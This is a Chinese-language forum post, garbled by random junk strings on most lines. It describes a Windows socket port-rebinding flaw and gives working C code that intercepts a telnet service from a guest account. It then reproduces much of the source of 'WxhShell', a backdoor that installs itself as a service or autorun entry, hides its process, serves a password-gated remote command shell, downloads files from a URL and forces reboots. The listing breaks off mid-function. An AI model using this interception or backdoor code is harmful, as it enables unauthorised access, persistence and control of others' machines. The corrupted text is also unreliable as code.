在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
nk;^sq4M: s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
r
uIgo B nok-![ saddr.sin_family = AF_INET;
"'C5B>qO 9h/Hy aN saddr.sin_addr.s_addr = htonl(INADDR_ANY);
.>Qa3,v5 3m$ck$ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
axOEL:-|Bu ?aI.Z+# 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
t37<<5A N<b~,[yCd> 这意味着什么?意味着可以进行如下的攻击:
&8I}q]'k SLRF\mh!L 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
+cM~| h^
K]ASj 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
[N#4H3GM8 f[
KI
T 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
o/ 7[
G {$#88Qa\- 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
=K_&@|f+B |*DkriYY 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
-{q'Tmst upZtVdd 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
FmhAUe V(8,94vm 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
j^WYMr, 'Yi="kno #include
qzEv!?)a #include
&;~?\>?I #include
i[ >U#5 #include
^C92R"*Qu DWORD WINAPI ClientThread(LPVOID lpParam);
fzA Fn$[ int main()
x6^Y&,y9kU {
@AM11v\: WORD wVersionRequested;
e)N<r DWORD ret;
+z:>Nl WSADATA wsaData;
/4N ?v. jf BOOL val;
+prUau* SOCKADDR_IN saddr;
ns*:mGh SOCKADDR_IN scaddr;
#SG.`J<% int err;
dS\!tdHP-Q SOCKET s;
-2(?O`tZ SOCKET sc;
IMBjI#\ int caddsize;
-+M360 HANDLE mt;
o)>iHzR</ DWORD tid;
i"xV=. wVersionRequested = MAKEWORD( 2, 2 );
,FXc_BCx4 err = WSAStartup( wVersionRequested, &wsaData );
!zvOCAb, if ( err != 0 ) {
K|l}+:k printf("error!WSAStartup failed!\n");
*[m:4\ return -1;
y/:%S2za> }
d!4TwpIgx saddr.sin_family = AF_INET;
(z8;J>7 R7K`9 c1f6 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Fq_>}k@fI ,L lYRj 5 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
#oR`_Dm)P saddr.sin_port = htons(23);
\XYidj if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
g"k4Z {
2r;h"> printf("error!socket failed!\n");
ca3SE^ return -1;
q"6$#o{~U }
IUDH"~f val = TRUE;
~Uey'Xz //SO_REUSEADDR选项就是可以实现端口重绑定的
ijUu{PG`X if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
tTF<DD}8 {
<h;_: printf("error!setsockopt failed!\n");
`<g6^ P return -1;
rS+) )! }
{M7`"+~w //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
.6LRg //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
D9NQ3[R 9 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
5gII|8>rQ >*opE I+ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Qc)i?Z'6 {
Dy>6L79G ret=GetLastError();
Jm#p!G+ printf("error!bind failed!\n");
ck%YEMs return -1;
Vo+.s#wN`h }
9_nbMs listen(s,2);
'=%`;?j while(1)
vm{8x o {
+2}cR66% caddsize = sizeof(scaddr);
[ZC\8tP`V //接受连接请求
93:oXyFjD sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
97$Q?a8S@ if(sc!=INVALID_SOCKET)
KO%$ {
W$2\GPJt mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
2K{'F1"RM if(mt==NULL)
Kh[l};/F {
~,E }^ printf("Thread Creat Failed!\n");
l
U8pX$ break;
@;$cX2 }
:CK`v6 Qs }
DB65vM CloseHandle(mt);
,|3_@tUl }
+RJKJ:W closesocket(s);
WJu(,zM?G WSACleanup();
>j3':>\U return 0;
7}y@VO6] }
6wj o:I DWORD WINAPI ClientThread(LPVOID lpParam)
u$C\#y7 {
]1XtV< SOCKET ss = (SOCKET)lpParam;
J*MH`;- SOCKET sc;
a/J Mg unsigned char buf[4096];
0nL
#-`S SOCKADDR_IN saddr;
&VA^LS@b long num;
71Za!3+ DWORD val;
pgiZA?r*< DWORD ret;
2O*At%CzW //如果是隐藏端口应用的话,可以在此处加一些判断
6W{Nw< //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
+Ugy=678Tr saddr.sin_family = AF_INET;
>
Xh=P% saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
jex\5 saddr.sin_port = htons(23);
WW{_D if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
'*65j {
dKCl#~LAI' printf("error!socket failed!\n");
"uT2 DY[ return -1;
-gk2$P- }
i{TPf1OY`M val = 100;
R`E:`t4G if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
-j]c(Q MA] {
`B4Ilh"d ret = GetLastError();
~3M8"}X;L return -1;
,zr9* t }
7M7Lj0Y)L if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
8/(}Wet {
>l><d!hw ret = GetLastError();
wdfbl_`T return -1;
iQ(j_i'+!I }
_pZ
< if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
A[^#8evaK {
dor1(@no| printf("error!socket connect failed!\n");
|LZ{kD| closesocket(sc);
iu(obmh/o closesocket(ss);
>r7PK45.K return -1;
?d%{- }
=X^a while(1)
E;{CoL {
|h6!b t!= //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
vA!IcDP" //如果是嗅探内容的话,可以再此处进行内容分析和记录
:Ae#+([V //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
`^[Tu 1 num = recv(ss,buf,4096,0);
{<@ud0A:\ if(num>0)
.\T!oSb4[ send(sc,buf,num,0);
^67}&O^1 , else if(num==0)
l0`bseN< break;
0m]QQGvJ{ num = recv(sc,buf,4096,0);
F~fBr if(num>0)
T9&{s-3* send(ss,buf,num,0);
WZn;u3,R else if(num==0)
;Ivv4u break;
%(p9AE }
`ovMfL.u closesocket(ss);
KJ32L closesocket(sc);
l7jen=(Zb; return 0 ;
tc[Ld# }
)W
p7e51 } % Ie 89^g$ ac ==========================================================
pTG[F xWXLk )A 下边附上一个代码,,WXhSHELL
@ Do.Wgt O50<h O]l ==========================================================
_b&26!gl 1uN;JN
`_ #include "stdafx.h"
J^yqu{ X,aRL6>r #include <stdio.h>
6`Y:f[VB #include <string.h>
``k[CgV #include <windows.h>
HVoPJ!K3 #include <winsock2.h>
4)D~S4{E5 #include <winsvc.h>
K];] #include <urlmon.h>
F"k`PF*b B>:U #pragma comment (lib, "Ws2_32.lib")
i6k6l% #pragma comment (lib, "urlmon.lib")
2^
]^Yc CN ( : #define MAX_USER 100 // 最大客户端连接数
XXn3K BIf #define BUF_SOCK 200 // sock buffer
xtD(tiqh.; #define KEY_BUFF 255 // 输入 buffer
T=u"y;&L p *42
@1, #define REBOOT 0 // 重启
,(Zxd4?y #define SHUTDOWN 1 // 关机
; 8DtnnE BRM `/s #define DEF_PORT 5000 // 监听端口
{g1"{ VFZ?<m #define REG_LEN 16 // 注册表键长度
,M?8s2? #define SVC_LEN 80 // NT服务名长度
u8KQV7E ^
'|y^t // 从dll定义API
LH_H
yP_ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
|[iO./zP typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
3%(r,AD typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Be@g|'r typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
R|(X_A I50LysM // wxhshell配置信息
1c#\CO1l struct WSCFG {
\9OKf|#j int ws_port; // 监听端口
\RR`
F .7 char ws_passstr[REG_LEN]; // 口令
BWxJ1ENM
int ws_autoins; // 安装标记, 1=yes 0=no
"1^tVw| char ws_regname[REG_LEN]; // 注册表键名
y*X.DS 1(w char ws_svcname[REG_LEN]; // 服务名
5j.@)XXe char ws_svcdisp[SVC_LEN]; // 服务显示名
WHBGhU char ws_svcdesc[SVC_LEN]; // 服务描述信息
X9|*`h < char ws_passmsg[SVC_LEN]; // 密码输入提示信息
X)hpbHa int ws_downexe; // 下载执行标记, 1=yes 0=no
1ow,'FztPt char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
tjRwbnT" char ws_filenam[SVC_LEN]; // 下载后保存的文件名
HP_h!pvx 8%u|[Si; };
$`7Fk%#+e ysK J= // default Wxhshell configuration
DFQ`(1Q struct WSCFG wscfg={DEF_PORT,
<";1[A%7< "xuhuanlingzhe",
H
$Az,-P 1,
oY0b8=[ "Wxhshell",
_F[a2PE2+ "Wxhshell",
1G12FV>M "WxhShell Service",
@fmp2!?6 "Wrsky Windows CmdShell Service",
i0wBZ i? "Please Input Your Password: ",
@d~]3T 1,
:Ob^b3<t "
http://www.wrsky.com/wxhshell.exe",
=>c0NT "Wxhshell.exe"
GqsV6kH };
`3ha~+Goo! 9-{ +U,3) // 消息定义模块
d9S?dx char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
w=(dJ(7gu char *msg_ws_prompt="\n\r? for help\n\r#>";
;`pIq-= char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
h_P[B char *msg_ws_ext="\n\rExit.";
HLqN=vE6 char *msg_ws_end="\n\rQuit.";
+,YK}?e char *msg_ws_boot="\n\rReboot...";
NY<qoV char *msg_ws_poff="\n\rShutdown...";
ktynIN char *msg_ws_down="\n\rSave to ";
ca3zY|Oo BaI-ve char *msg_ws_err="\n\rErr!";
oKGF'y?A> char *msg_ws_ok="\n\rOK!";
Ru#pJb(R tzd!r7 char ExeFile[MAX_PATH];
Q.eD:@%iE int nUser = 0;
8(Ptse
, HANDLE handles[MAX_USER];
>gL&a#<S int OsIsNt;
.!L{yU, "O9n|B SERVICE_STATUS serviceStatus;
r`sKe
& SERVICE_STATUS_HANDLE hServiceStatusHandle;
PR!0=E*}
+ug2p;<B // 函数声明
k=kkF" int Install(void);
=s*c(> int Uninstall(void);
)K]p^lO int DownloadFile(char *sURL, SOCKET wsh);
wAW{{ p int Boot(int flag);
8r"-3<* void HideProc(void);
w/ZP.B int GetOsVer(void);
r*mSnPz\q int Wxhshell(SOCKET wsl);
H1q,w|O9j void TalkWithClient(void *cs);
;:oJFI#; int CmdShell(SOCKET sock);
{`*Fu/Upb int StartFromService(void);
+924_,zF int StartWxhshell(LPSTR lpCmdLine);
"2-D[rYZ MtPdpm6\ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
lx5.50mI VOID WINAPI NTServiceHandler( DWORD fdwControl );
7_Te-i Z?qLn6y1W // 数据结构和表定义
1>\V>g9 SERVICE_TABLE_ENTRY DispatchTable[] =
|ITCw$T {
Q.jThP`p {wscfg.ws_svcname, NTServiceMain},
-wx~* {NULL, NULL}
:%AEwRZ };
C:sgT6 %wru) // 自我安装
G?LC!9MB int Install(void)
'lpCwH {
WQN`y>1#@_ char svExeFile[MAX_PATH];
?8s$RYp14 HKEY key;
>h~ik/|* strcpy(svExeFile,ExeFile);
*v(Q-FW y"7*u
3>" // 如果是win9x系统,修改注册表设为自启动
p`\>GWuT! if(!OsIsNt) {
_}JMBIq$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
TYR \K RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
wBw(T1VN RegCloseKey(key);
Iy;"ht6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
PU%f`) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
*PFQ RegCloseKey(key);
z#`Qfvu6Hi return 0;
tUOY`]0 }
Nc[N 11?O }
t OJyj49^a }
%ueD3;V else {
}.8yKj^p \i-CTv6f // 如果是NT以上系统,安装为系统服务
-CFy
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
; }T+ImjA if (schSCManager!=0)
KrG,T5 {
NhTJB7 SC_HANDLE schService = CreateService
cVMRSp (
SvkCx>6/G schSCManager,
"WtYqXyd wscfg.ws_svcname,
qgfP6W$ wscfg.ws_svcdisp,
3HcduJntl SERVICE_ALL_ACCESS,
noz1W ] SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
0:I<TJ~P SERVICE_AUTO_START,
#ucb SERVICE_ERROR_NORMAL,
/+`%u&< svExeFile,
m:0[as= NULL,
3'i(wI~<[ NULL,
hP.Km%C)0n NULL,
-O1$jBQS NULL,
]n"RPktx NULL
[742s]j );
kmu`sk" if (schService!=0)
0!0o[3* {
}!Pty25j CloseServiceHandle(schService);
umnQ$y
0 CloseServiceHandle(schSCManager);
+rSU strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
OR
$i,N| strcat(svExeFile,wscfg.ws_svcname);
)/Eu=+d if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
q=`n3+N_H~ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
&\cS{35 RegCloseKey(key);
/joY? T return 0;
!kb:g]X }
2,g4yXws5 }
[.Fq
l+ CloseServiceHandle(schSCManager);
[7r^fD
A }
(G{S* + }
8*#$3e .$y'>O*$G return 1;
BAvz @H }
(@!K tW [N9yWuc // 自我卸载
0&CXR=U5 int Uninstall(void)
zv/dj04> {
?fC9)s HKEY key;
d8 Jf3Mo (.Ak* if(!OsIsNt) {
kc=Z6(= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
:IJ<Mmb RegDeleteValue(key,wscfg.ws_regname);
xz.M'az\ RegCloseKey(key);
0T(+z)Ki if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
3>MILEY^ RegDeleteValue(key,wscfg.ws_regname);
,3-^EfccW RegCloseKey(key);
(jyufHm return 0;
f9kdO& }
xw_)~Y%\ }
@Y.r ,q }
Qmo}esb'( else {
#QcRN?s GRofOJ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
jgPUR#) if (schSCManager!=0)
MXEI/mDYK {
Oi^cs=} SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
ibwV#6 if (schService!=0)
1HAnOy0 {
{5c?_U if(DeleteService(schService)!=0) {
!=*8*?@ CloseServiceHandle(schService);
2.MUQ;OX CloseServiceHandle(schSCManager);
[Y, L=p return 0;
7 j=KiiI }
A:Gd F-;[ CloseServiceHandle(schService);
9c,/490Q }
z6d0Y$A G CloseServiceHandle(schSCManager);
%3t;[$n# }
xHaz*w1| }
/2/aMF(J 5=#d#dDc return 1;
QT%vrXzz }
OA\]|2 : VMJaL}J] // 从指定url下载文件
k%O3\q int DownloadFile(char *sURL, SOCKET wsh)
]'Ho)Q {
OUGkam0UK HRESULT hr;
;]>)6 char seps[]= "/";
}KIS_krs char *token;
,tyPZR_ char *file;
@^-Y&N!b= char myURL[MAX_PATH];
(/]#G8 char myFILE[MAX_PATH];
CP%^)LX * UyV5A strcpy(myURL,sURL);
$>yfu=]? token=strtok(myURL,seps);
%
C2Vga# while(token!=NULL)
NR
k~ {
d-tg^Ot#
file=token;
,t wB" * token=strtok(NULL,seps);
L1(-xNUo_i }
U{pg
y#/ Qf~$9?z GetCurrentDirectory(MAX_PATH,myFILE);
z;<~j=lP strcat(myFILE, "\\");
&Q}%b7 strcat(myFILE, file);
PO6yEr send(wsh,myFILE,strlen(myFILE),0);
uG6.(A1LM send(wsh,"...",3,0);
yOKzw~;0% hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
zP2X}VLMo if(hr==S_OK)
zYY]+)k? return 0;
G?XA",AC else
Mb\(52`)Q return 1;
<Y1Plc GtZ.'?- }
cYC^;,C &| } -;)G~h/" // 系统电源模块
4Nt4(3Kf int Boot(int flag)
es#6/ {
7'i{JPm HANDLE hToken;
z,SI TOKEN_PRIVILEGES tkp;
5n}<V-yJ*m {y6h(@I8\ if(OsIsNt) {
>,3 uu}s OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
to&,d`k=- LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
{!qnHv\S tkp.PrivilegeCount = 1;
~;Y Tz tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
X_@|+d AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
$HQ4 o\~ if(flag==REBOOT) {
S!z3$@o if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
J+
S]Qoz return 0;
rQ]JM }
F4z#u2~TC else {
QQV8Vlv" if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
=MJB: return 0;
~XuV:K3 }
YCxwIzIR }
M_ %-A else {
Khc^q*|C) if(flag==REBOOT) {
gVzIEE25 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
~:f..|JM return 0;
R"P-+T=7M }
R*lq7n9 else {
9oO~UP!ag if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
@Bhcb.kbq return 0;
},JJ!3 }
7/QK"0 }
t? 6 et1~ >jIn&s!} return 1;
_&S#;ni\c }
FibZT1-k Rky]F+J // win9x进程隐藏模块
O]@#53)Tz void HideProc(void)
d*gv.mE {
<n#X~}i) -wg}X-'z0 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
-XV+F@`Md if ( hKernel != NULL )
C&vi7Yx {
8Ala31 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
@$%GszyQ' ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
y<Xu65 FreeLibrary(hKernel);
;xzaW4(3 }
[
fzYC'A= bl^Ihza return;
.yXqa"p }
F/>\uzu g:JSy // 获取操作系统版本
L98T!5) int GetOsVer(void)
~).D\Q\ {
JRFUNy1+e1 OSVERSIONINFO winfo;
ws!~MSIy winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
G(#t,}S}@ GetVersionEx(&winfo);
C7NSmZ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
=VuSi(d;e{ return 1;
p5or"tK else
M;ADL| return 0;
GK'p$`oJm }
LPJ7V`!k b=:u d[h // 客户端句柄模块
04;s@\yX4 int Wxhshell(SOCKET wsl)
4FRi=d;mP {
~,1Sw7rE SOCKET wsh;
R`a~8QVh&5 struct sockaddr_in client;
wxh\CBxG DWORD myID;
QtKcv7:4 x$BNFb%I1 while(nUser<MAX_USER)
@g5y_G{SP {
]&Y^ int nSize=sizeof(client);
5{V"!M+< wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
;j1E 6 if(wsh==INVALID_SOCKET) return 1;
[I4MK%YQ ~d]v{<3 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
SU~.baP? if(handles[nUser]==0)
~i%=1&K&` closesocket(wsh);
&U]/SFY else
<O'U-.
Gc nUser++;
>rEZ$h }
9_:"`)]3B WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
#vV]nI<MF. _(h=@cv return 0;
A[;deHg= }
5qQMGN$K vQi=13Pw // 关闭 socket
PZ8,E{V void CloseIt(SOCKET wsh)
LPt9+sauf1 {
oHx:["F closesocket(wsh);
L7 }nmP>aR nUser--;
; o_0~l=-/ ExitThread(0);
Hm'"I!jyO }
~ `qWEu L@(. i // 客户端请求句柄
nI6ompTX void TalkWithClient(void *cs)
!mUJ["# {
e~lFjr] }BlyEcw'aN SOCKET wsh=(SOCKET)cs;
r4*H96l char pwd[SVC_LEN];
`K.B` char cmd[KEY_BUFF];
!X-\;3kC0 char chr[1];
C'$}{%Cc@$ int i,j;
'A:Y&w"r kMch while (nUser < MAX_USER) {
)f:i4.M 2\1+M) if(wscfg.ws_passstr) {
'|ntwK*f if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
nahq O|~ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
AtCT //ZeroMemory(pwd,KEY_BUFF);
BVb^ xL i=0;
LsERcjwwK while(i<SVC_LEN) {
^ l]!'" o( zez // 设置超时
*FC8=U2\X fd_set FdRead;
C
6
\ struct timeval TimeOut;
C][hH?. FD_ZERO(&FdRead);
L4/ns@e FD_SET(wsh,&FdRead);
bOr11? TimeOut.tv_sec=8;
a`w=0]1&* TimeOut.tv_usec=0;
>EJ{ * int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
apa&'%7 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
:Pdh##k I8J>>H'#A if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
2w7$"N pwd
=chr[0]; 3O$l;|SX
if(chr[0]==0xd || chr[0]==0xa) { `Uz.9_6
pwd=0; ~3:hed7:
break; YTefEG]|q
} NzQvciJ@"
i++; }?Y -I>
w
} iptA#<Yj
L!Y|`P#Yr
// 如果是非法用户,关闭 socket Opu*i
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M,H8ZO:R
} _r3Y$^!U
2v ~8fr4
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !FP ]
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u?72]?SM
K _VIk'RB
while(1) { ^R@)CIQ
_D4qnb@
ZeroMemory(cmd,KEY_BUFF); pE<a:2J
.2@T|WD!Ah
// 自动支持客户端 telnet标准 49*f=gpGj2
j=0; JE9v+a{7
while(j<KEY_BUFF) { |(%<FY$
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t^":.}[Q
cmd[j]=chr[0]; D|ze0A@
if(chr[0]==0xa || chr[0]==0xd) { o!UB x<4
cmd[j]=0; !I?C8)
break; 2: gh q
} -"nkC
j++; IwnDG;+Ap
} c.]QIIdK
0<`qz |_h
// 下载文件 G^d3$7
if(strstr(cmd,"http://")) { /P,1KVQPh
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7/<~s]D[%
if(DownloadFile(cmd,wsh)) TzaeE
send(wsh,msg_ws_err,strlen(msg_ws_err),0); e#HPU
else =A6*;T"W
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kQ\ $0=6N9
} q$"u<
else { i_*yS+Z;
)'n@A% B
switch(cmd[0]) { rogy`mh\r2
3:jxr
// 帮助 jnp~ACN,
case '?': { W'vek uM
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ++,I`x+p
break; H[KX xNYZ_
} fphCQO^#vW
// 安装 xW)
case 'i': { 2Ty]s~
if(Install()) "7%jv[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); BT[|f[1
else fu\j
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m@+v6&,
break; =p.avAuSn
} GZaB z#U
// 卸载 xbCR4upS
case 'r': { ||X3g"2W9
if(Uninstall()) kBk>1jn"
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
s*gqKQ;
else l3b=8yn.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h!SsIy(
break; u
$-&Im<
} 2EM6k|l5
// 显示 wxhshell 所在路径 bI0xI[#Q
case 'p': { }F{s\qUt
char svExeFile[MAX_PATH]; Ox J0."
strcpy(svExeFile,"\n\r"); IWv5UmjN
strcat(svExeFile,ExeFile); #w|v.35%?
send(wsh,svExeFile,strlen(svExeFile),0); `$jun
break; vE(]!CB
} 7#j.yf4
// 重启 7 w,D2T
case 'b': { k
?KJ8
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (
xooU 8d
if(Boot(REBOOT)) X9?)P5h=
send(wsh,msg_ws_err,strlen(msg_ws_err),0); MUl7o@{'
else { %N&.B
closesocket(wsh); [#Apd1S_
ExitThread(0); ,TWlg
} Rnwm6nu
break; '-A;B.GV%
} 5XX)8gAo
// 关机 P0>2}/;o
case 'd': { +:^l|6%}
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -'qVnu
if(Boot(SHUTDOWN)) J(}PvkA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \VhG'd3k
else { |qe;+)0>K
closesocket(wsh); d%k7n+ICQ4
ExitThread(0); \}h
} L<=Dl
break; A3tv'-e9
} yC$m(Y12FN
// 获取shell -B-G$ii
case 's': {
k a!w\v
CmdShell(wsh); }y*D(`
closesocket(wsh); ~3M4F^
ExitThread(0); U:8]G
break; z0LspRaz
} vW eg1
// 退出 "[7-1} l
case 'x': { mmJnE
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %2dzx[s
CloseIt(wsh); u3qxG3
break; `,SL\\%u
} ,*W~M&n"m
// 离开 ,&@GxiU
case 'q': { ?l%4
P5
send(wsh,msg_ws_end,strlen(msg_ws_end),0); |Io:D:
closesocket(wsh); U)f('zD
WSACleanup(); bu6Sp3g
exit(1); A{;"e^a-^l
break; jC[_uG
} Q(-&}cY
} 8>WA5:]v
} 5QK%BiDlr
J/P[9m30[
// 提示信息 +pG+ xI
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
t[+bZUS$~
} "9'3mmZm=?
} zx<PX
db,?b>,EE
return; 8<}=f4vUj5
} AJ6l#j-
(" :Dz_
// shell模块句柄 `Gv\"|Gn
int CmdShell(SOCKET sock) N9|J\;fzT
{ 2iM}YCV
STARTUPINFO si; v\dQjQu8m
ZeroMemory(&si,sizeof(si)); Tk[]l7R~
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; eb`3'&zV&)
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &c!6e<o[p
PROCESS_INFORMATION ProcessInfo; vC>2%Zgf-
char cmdline[]="cmd"; W7A!QS
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ox#vW6;)
return 0; G7CkP
} OWrQKd
<eMqg u
// 自身启动模式 V-#JV@b
int StartFromService(void) GdUsv
{ -){6ynqv
typedef struct ,gZp/ yJ;
{ 'gor*-o:wu
DWORD ExitStatus; uMva5o
DWORD PebBaseAddress; ]/Nt
DWORD AffinityMask; 7xO05)bz
DWORD BasePriority; _+9i
ULONG UniqueProcessId; |U1 [R\X
ULONG InheritedFromUniqueProcessId; "{~FEx4
} PROCESS_BASIC_INFORMATION; ]cP%d-x}
zAM9%W2v_
